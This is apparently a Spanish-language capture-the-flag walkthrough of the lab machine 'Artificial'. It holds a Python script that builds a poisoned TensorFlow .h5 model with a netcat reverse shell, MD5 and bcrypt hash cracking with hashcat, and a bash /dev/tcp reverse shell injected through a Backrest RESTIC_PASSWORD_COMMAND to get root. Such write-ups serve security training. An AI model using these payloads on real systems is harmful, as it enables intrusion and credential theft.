Artificial


Enumeración:

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Sat Jun 21 21:02:51 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p22,80 -oN targeted 10.10.11.74
   2   │ Nmap scan report for artificial.htb (10.10.11.74)
   3   │ Host is up (0.78s latency).
   4   │ 
   5   │ PORT   STATE SERVICE VERSION
   6   │ 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
   7   │ | ssh-hostkey: 
   8   │ |   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
   9   │ |   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
  10   │ |_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
  11   │ 80/tcp open  http    nginx 1.18.0 (Ubuntu)
  12   │ |_http-server-header: nginx/1.18.0 (Ubuntu)
  13   │ |_http-title: Artificial - AI Solutions
  14   │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  15   │ 
  16   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  17   │ # Nmap done at Sat Jun 21 21:03:14 2025 -- 1 IP address (1 host up) scanned in 23.41 seconds

Entramos por el puerto 80 y nos registramos:


TensorFlow 2.13.1

  • Al descargar el requirements se vio lo siguiente:

Este script está escrito en Python 3 y utiliza TensorFlow para crear un modelo simple que contiene un payload de reverse shell. Cuando el archivo .h5 es cargado en el sistema, el modelo se ejecuta, activando la reverse shell.


Contenido del Dockerfile:

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

Construir la imagen Docker: Una vez creado el Dockerfile, ejecutaste el siguiente comando para construir la imagen:

docker build -t my-tf-image .

Ejecutar el contenedor: Iniciaste el contenedor con el siguiente comando:

docker run -it --name my-tf-container my-tf-image

Crear y ejecutar el exploit:

  1. Script de Generación del Modelo Malicioso (generate_exploit.py): Creaste un script en Python que definía un modelo de TensorFlow con una capa Lambda que ejecutaba un comando malicioso (en este caso, el código para la reverse shell).

import tensorflow as tf
import os

def exploit(x):
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.47 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()

model.save("/code/exploit.h5")

Generar el archivo exploit.h5: Dentro del contenedor, ejecutaste el script para generar el archivo exploit.h5 que contiene el modelo malicioso:

Copiar el archivo al host y cargarlo en la web:

docker cp my-tf-container:/code/exploit.h5 /ruta/destino/exploit.h5

Escuchar la conexión reversa con nc:

nc -lvnp 6666

Compruebe que existe un user.dbarchivo de base de datos con una tabla de usuario

Intentamos crakear el hash de gael:

1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8

Otra forma:

Identificamos el tipo de hash

MD5


Entramos por ssh:


Subir privilegios:


Encontré pistas en /varel directorio y encontré el archivo de respaldo.

Solo tengo permiso de lectura, así que lo transferí a mi máquina local y encontré un hash de contraseña.

# Usar Python HTTP Server (si puedes mover el archivo a un directorio accesible)
cd /var/backups
python3 -m http.server 8080
wget http://10.10.11.74:8080/backrest_backup.tar.gz 
tar -xvf backrest_backup.tar.gz

Entramos a ver los archivos:

Paso a paso: crackear passwordBcrypt del config.json

JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP

Vamos a decodificarlo con:

echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbrutYP58EBZz/0QO

Continuar usando jhon:

Algoritmos Hash
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt -O

La encontró:

!@#$%^

Tenga en cuenta que el puerto de intranet 9898está abierto y reenvíelo.

Lo traemos a nuestra kali:

 "name": "backrest_root",
 "passwordBcrypt": JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVp = !@#$%^


Entramos con esas credenciales:

Luego puedes crear un repo y ejecutar el comando

RESTIC_PASSWORD_COMMAND=bash -c 'bash -i >& /dev/tcp/10.10.16.77/5555 0>&1'


Last updated